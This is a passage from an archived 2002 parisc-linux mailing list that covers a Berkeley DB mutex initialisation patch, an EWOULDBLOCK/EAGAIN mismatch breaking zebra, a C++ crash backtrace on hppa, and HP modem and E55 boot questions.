X-Trace: ger.gmane.org 1416621702 13799 80.91.229.3 (22 Nov 2014 02:01:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:42 +0000 (UTC)
Cc: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: support@sleepycat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  9 16:02:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 563A9482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Sep 2002 16:02:32 -0600 (MDT)
Original-Received: from alpha.bocc.de (p5080CA95.dip.t-dialin.net [80.128.202.149])
	(authenticated)
	by mail.scram.de (8.11.6+3.4W/8.11.0) with ESMTP id g89M2Gt26717;
	Tue, 10 Sep 2002 00:02:16 +0200 (CEST)
X-X-Sender: jochen@alpha.bocc.de
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16077

Hi,

the same applies to 4.0.14, as well.

Cheers,
--jochen
---------- Forwarded message ----------
Date: Fri, 16 Aug 2002 07:54:04 +0200 (CEST)
From: Jochen Friedrich <jochen@scram.de>
To: Matthew Wilcox <willy@debian.org>
Cc: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
Subject: [parisc-linux] db3 patch for Linux/HPPA

Hi Matthew,

this fixes a problem with db3 mutexes. Problem is in
__db_tas_mutex_init(). If MUTEX_INIT returns non-zero value, mutexp->spins
doesn't get initialized and later __db_tas_mutex_lock loops without ever
trying to aquire the lock (as spins is zero).

diff -urN db-3.2.9/include/mutex.h db-3.2.9.new/include/mutex.h
--- db-3.2.9/include/mutex.h    Sun Jun 23 16:34:28 2002
+++ db-3.2.9.new/include/mutex.h        Sun Jun 23 16:33:38 2002
@@ -413,7 +413,7 @@
        __r & 1;                                                        \
 })

-#define        MUTEX_UNSET(tsl)        (*(tsl) = -1)
+#define        MUTEX_UNSET(tsl)        (!(*(tsl) = -1))
 #define        MUTEX_INIT(tsl)         MUTEX_UNSET(tsl)
 #endif
 #endif

Cheers,
--jochen

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:24:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] definition of EWOULDBLOCK in /usr/include/asm/errno.h
Date: Mon, 9 Sep 2002 15:04:49 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <20020909220448.GP17893@tausq.org>
References: <Pine.LNX.4.44.0209092343150.2394-100000@alpha.bocc.de>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621702 13805 80.91.229.3 (22 Nov 2014 02:01:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:42 +0000 (UTC)
Cc: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  9 16:04:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC9A8482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Sep 2002 16:04:05 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 0D6ECCD824; Mon,  9 Sep 2002 15:04:49 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0209092343150.2394-100000@alpha.bocc.de>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16078

> because of the unusual definition of EWOULDBLOCK, zebra currently doesn't
> work (zebra checks for EWOULDBLOCK in zebra/rt_netlink.c and will loop if
> it gets EAGAIN instead and both are not the same).
> 
> I'm not sure what's the correct fix for this, change errno.h to match the
> definition of the other archs or change zebra to check for EAGAIN as
> well...

I assume you are refering to this bit of code:

      status = recvmsg (nl->sock, &msg, 0);

      if (status < 0)
        {
          if (errno == EINTR)
            continue;
          if (errno == EWOULDBLOCK)
            break;
          zlog (NULL, LOG_ERR, "%s recvmsg overrun", nl->name);
          continue;
        }

On some SysV systems EAGAIN != EWOULDBLOCK. I think we inherited the
errno definitions from HPUX...

glibc's documentation says:

Portability Note: In many older Unix systems, this condition was indicated by EWOULDBLOCK, which was a distinct error code different from EAGAIN. To make your program portable, you should check for both codes and treat them the same. 

sounds like good advice to me.. :-)

it does say, however, that for glibc EWOULDBLOCK and EAGAIN should have
the same value though, so i guess ours is wrong... i wonder if we'll
break things if we changed it.

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:24:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Will Newton <will@misconception.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C++ crash on hppa
Date: Tue, 10 Sep 2002 00:36:17 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <E17oY3b-0004rg-00.2002-09-10-00-35-05@imailg1.svr.pol.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621702 13808 80.91.229.3 (22 Nov 2014 02:01:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  9 17:35:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from imailg1.svr.pol.co.uk (imailg1.svr.pol.co.uk [195.92.195.179])
	by dsl2.external.hp.com (Postfix) with ESMTP id C22A9482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Sep 2002 17:35:07 -0600 (MDT)
Original-Received: from modem-115.engineer-fish.dialup.pol.co.uk ([62.137.7.115] helo=there)
	by imailg1.svr.pol.co.uk with smtp (Exim 3.35 #1)
	id 17oY3b-0004rg-00
	for parisc-linux@lists.parisc-linux.org; Tue, 10 Sep 2002 00:35:05 +0100
X-Mailer: KMail [version 1.3.2]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16079

(This is a repost of a message to debian-hppa, sorry if I hit anyone with it 
twice.)

I have a package that works perfectly on i386 but crashes on hppa. The code
is not anything that would be directly affected by the underlying hardware -
it makes no assumptions based on endianess or word size - and the crash
occurs because of a free of a null pointer inside the STL. I have attached
the backtrace. I'm really quite stumped by this one, so any help would be
greatly appreciated.

(Maybe something to do with static init order in dynamic libs?)

(gdb) bt
#0  0x4071210c in __libc_free (mem=0x0) at malloc.c:3142
#1  0x0002e95c in std::__malloc_alloc_template<0>::deallocate(void*,
 unsigned) ()
#2  0x0002de54 in std::__default_alloc_template<true, 0>::deallocate(void*,
unsigned) ()
#3  0x0002cd40 in std::allocator<char>::deallocate(char*, unsigned) ()
#4  0x0002aa20 in std::string::_Rep::_M_destroy(std::allocator<char> const&)
()
#5  0x00028230 in std::string::_Rep::_M_dispose(std::allocator<char> const&)
()
#6  0x00028a58 in std::string::assign(std::string const&) ()
#7  0x4019e93c in Aqsis::CqOptions::InitialiseDefaultOptions() (
    this=0x402c2a9c) at /usr/include/c++/3.2/bits/basic_string.h:338
#8  0x4019d9dc in CqOptions (this=0x402c2a9c) at options.cpp:193
#9  0x401e81c0 in __static_initialization_and_destruction_0
 (__initialize_p=1, __priority=65535) at renderer.cpp:50
#10 0x402061ec in _GLOBAL__I__ZN5Aqsis13pCurrRendererE ()
    at /usr/include/c++/3.2/bits/stl_iterator.h:622
#11 0x40272be8 in __do_global_ctors_aux () from /usr/lib/libaqsis.so.0
#12 0x4015dc4c in _init () from /usr/lib/libaqsis.so.0
#13 0x4000cf8c in call_init () from /lib/ld.so.1
#14 0x4000d0fc in _dl_init () from /lib/ld.so.1
#15 0x400023dc in _dl_start_user () from /lib/ld.so.1
(gdb)

Thanks,

-------------------------------------------------------


From - Thu Nov 08 21:24:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sleepycat support <support@sleepycat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: db3/db4 patch for Linux/HPPA [#6581]
Date: Mon, 9 Sep 2002 18:19:11 -0700 (PDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <200209100119.g8A1JBu96414@triplerock.olsons.net>
References: <Pine.LNX.4.44.0209092358400.2394-100000@alpha.bocc.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621703 13811 80.91.229.3 (22 Nov 2014 02:01:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jochen@scram.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  9 19:19:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from triplerock.olsons.net (adsl-63-194-211-87.dsl.snfc21.pacbell.net [63.194.211.87])
	by dsl2.external.hp.com (Postfix) with ESMTP id BA1FC482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Sep 2002 19:19:28 -0600 (MDT)
Original-Received: (from support@localhost)
	by triplerock.olsons.net (8.11.3/8.11.3) id g8A1JBu96414;
	Mon, 9 Sep 2002 18:19:11 -0700 (PDT)
	(envelope-from support)
In-Reply-To: <Pine.LNX.4.44.0209092358400.2394-100000@alpha.bocc.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16080

> the same applies to 4.0.14, as well.

Thank you for your email.  For future reference, your Support
Request number is #6581.  An engineer will be contacting you.

Regards,
Sleepycat Software Support

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Sleepycat Software Inc.		support@sleepycat.com
				http://www.sleepycat.com


From - Thu Nov 08 21:24:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Keith Bostic <bostic@sleepycat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: db3/db4 patch for Linux/HPPA [#6581]
Date: Mon, 9 Sep 2002 21:43:03 -0400 (EDT)
Lines: 43
Approved: news@gmane.org
Message-ID: <200209100143.g8A1h3F17414@abyssinian.sleepycat.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621703 13815 80.91.229.3 (22 Nov 2014 02:01:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, support@sleepycat.com
To: jochen@scram.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  9 19:43:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from abyssinian.sleepycat.com (abyssinian.sleepycat.com [199.103.242.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id AF907482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Sep 2002 19:43:18 -0600 (MDT)
Original-Received: (from bostic@localhost)
	by abyssinian.sleepycat.com (8.11.6/8.11.6) id g8A1h3F17414;
	Mon, 9 Sep 2002 21:43:03 -0400 (EDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16081

Hi, my name is Keith Bostic and I'm with Sleepycat Software.
I'll own your Support Request for now.

Please copy "support@sleepycat.com" on any email you send,
and include the tag [#6581] in your email Subject lines.
That allows us to track the email discussion and for you to
get prompt replies even if I am not in the office.

> the same applies to 4.0.14, as well.

Thanks for finding this one!  I used a slightly different fix,
since MUTEX_UNSET isn't supposed to return a value.  Here's what
I ended up using, please let me know if you disagree with this
change.

	*** include/mutex.h	2002/08/15 06:42:38	11.70
	--- include/mutex.h	2002/09/10 01:36:48	11.71
	***************
	*** 435,441 ****
	  })
	  
	  #define	MUTEX_UNSET(tsl)	(*(tsl) = -1)
	! #define	MUTEX_INIT(tsl)		MUTEX_UNSET(tsl)
	  #endif
	  #endif
	  
	--- 435,441 ----
	  })
	  
	  #define	MUTEX_UNSET(tsl)	(*(tsl) = -1)
	! #define	MUTEX_INIT(tsl)		(MUTEX_UNSET(tsl), 0)
	  #endif
	  #endif
  
Regards,
--keith

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Keith Bostic
Sleepycat Software Inc.		bostic@sleepycat.com
118 Tower Rd.			+1-781-259-3139
Lincoln, MA 01773		http://www.sleepycat.com


From - Thu Nov 08 21:24:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Modem communication, HP 730
Date: Mon, 09 Sep 2002 22:29:38 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <20020910042938.A37F8482A@dsl2.external.hp.com>
References: <3D7CEC11.00008F.38799@ns.interchange.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621703 13818 80.91.229.3 (22 Nov 2014 02:01:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Jon Sharp" <jonsharp@fastmail.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  9 22:29:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A37F8482A; Mon,  9 Sep 2002 22:29:38 -0600 (MDT)
In-Reply-To: Message from "Jon Sharp" <jonsharp@fastmail.ca> 
   of "Mon, 09 Sep 2002 14:44:33 EDT." <3D7CEC11.00008F.38799@ns.interchange.ca> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16082

"Jon Sharp" wrote:
> It works fine (using minicom) at connection 
> speeds of up to 19200, after that the modem fails to respond to AT 
> commands altogether.

Does anyone know at which speeds HW handshaking is necessary?
730 is a pretty old machine.

grant


From - Thu Nov 08 21:24:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Modem communication, HP 730
Date: Mon, 9 Sep 2002 21:54:10 -0700 (PDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <20020910045410.61028.qmail@web12501.mail.yahoo.com>
References: <20020910042938.A37F8482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621704 13819 80.91.229.3 (22 Nov 2014 02:01:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  9 22:54:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12501.mail.yahoo.com (web12501.mail.yahoo.com [216.136.173.193])
	by dsl2.external.hp.com (Postfix) with SMTP id 4673C482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Sep 2002 22:54:15 -0600 (MDT)
Original-Received: from [24.197.204.164] by web12501.mail.yahoo.com via HTTP; Mon, 09 Sep 2002 21:54:10 PDT
In-Reply-To: <20020910042938.A37F8482A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16083

I know the internal modem of the K-class is limited to 19200.  All of
the support modems we install for the systems are slowed down to 19200
even though they are 56k.  Coincidence?

derek


--- Grant Grundler <grundler@dsl2.external.hp.com> wrote:
> "Jon Sharp" wrote:
> > It works fine (using minicom) at connection 
> > speeds of up to 19200, after that the modem fails to respond to AT 
> > commands altogether.
> 
> Does anyone know at which speeds HW handshaking is necessary?
> 730 is a pretty old machine.
> 
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


__________________________________________________
Yahoo! - We Remember
9-11: A tribute to the more than 3,000 lives lost
http://dir.remember.yahoo.com/tribute


From - Thu Nov 08 21:24:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] E55
Date: Mon, 9 Sep 2002 22:00:39 -0700 (PDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <20020910050039.46620.qmail@web12506.mail.yahoo.com>
References: <20020910042938.A37F8482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621704 13821 80.91.229.3 (22 Nov 2014 02:01:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  9 23:00:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12506.mail.yahoo.com (web12506.mail.yahoo.com [216.136.173.198])
	by dsl2.external.hp.com (Postfix) with SMTP id 3099B482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Sep 2002 23:00:41 -0600 (MDT)
Original-Received: from [24.197.204.164] by web12506.mail.yahoo.com via HTTP; Mon, 09 Sep 2002 22:00:39 PDT
In-Reply-To: <20020910042938.A37F8482A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16084

I was just curious how far in the boot process you E55 guys get.  I
just tried to load the one I have in the office tonight.  I retrofitted
it with an A1703-60003 LAN/Console/SCSI card I pulled out of one of our
"crash and burn" H70 boxes.  It gets past the "console" message about
"if this is the last thing you see" then starts dumping the stacks and
ends in a Kernal error 15.  This card doesn't use the mux port to
connect the console it uses a PS/2 type connector to the card and a
DB25 connector to the terminal.  Just wanted to see how this compares
to the other E Series machines out there.

derek

__________________________________________________
Yahoo! - We Remember
9-11: A tribute to the more than 3,000 lives lost
http://dir.remember.yahoo.com/tribute


From - Thu Nov 08 21:24:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Modem communication, HP 730
Date: Mon, 09 Sep 2002 23:24:31 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <20020910052431.8592F482A@dsl2.external.hp.com>
References: <20020910045410.61028.qmail@web12501.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621704 13824 80.91.229.3 (22 Nov 2014 02:01:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  9 23:24:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 8592F482A; Mon,  9 Sep 2002 23:24:31 -0600 (MDT)
In-Reply-To: Message from Derek Engelhaupt <derekengelhaupt@rocketmail.com> 
   of "Mon, 09 Sep 2002 21:54:10 PDT." <20020910045410.61028.qmail@web12501.mail.yahoo.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16085

Derek Engelhaupt wrote:
> I know the internal modem of the K-class is limited to 19200.  All of
> the support modems we install for the systems are slowed down to 19200
> even though they are 56k.  Coincidence?

Maybe not.  Does the modem connect directly the console manager or
whatever it's called? That might be the limiting factor.

Could I cut off the goofy connector for K-class modem, solder on a DB-9
(or DB25) and have a cool external 56k Modem?
If so, I only need to know what the pinout is since power probably
comes through the cable as well.

I've seen so many of those go in the trash here.

grant


From - Thu Nov 08 21:24:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] E55
Date: 10 Sep 2002 00:19:48 -0600
Lines: 44
Approved: news@gmane.org
Message-ID: <1031638789.10553.15.camel@beavis>
References: <20020910050039.46620.qmail@web12506.mail.yahoo.com>
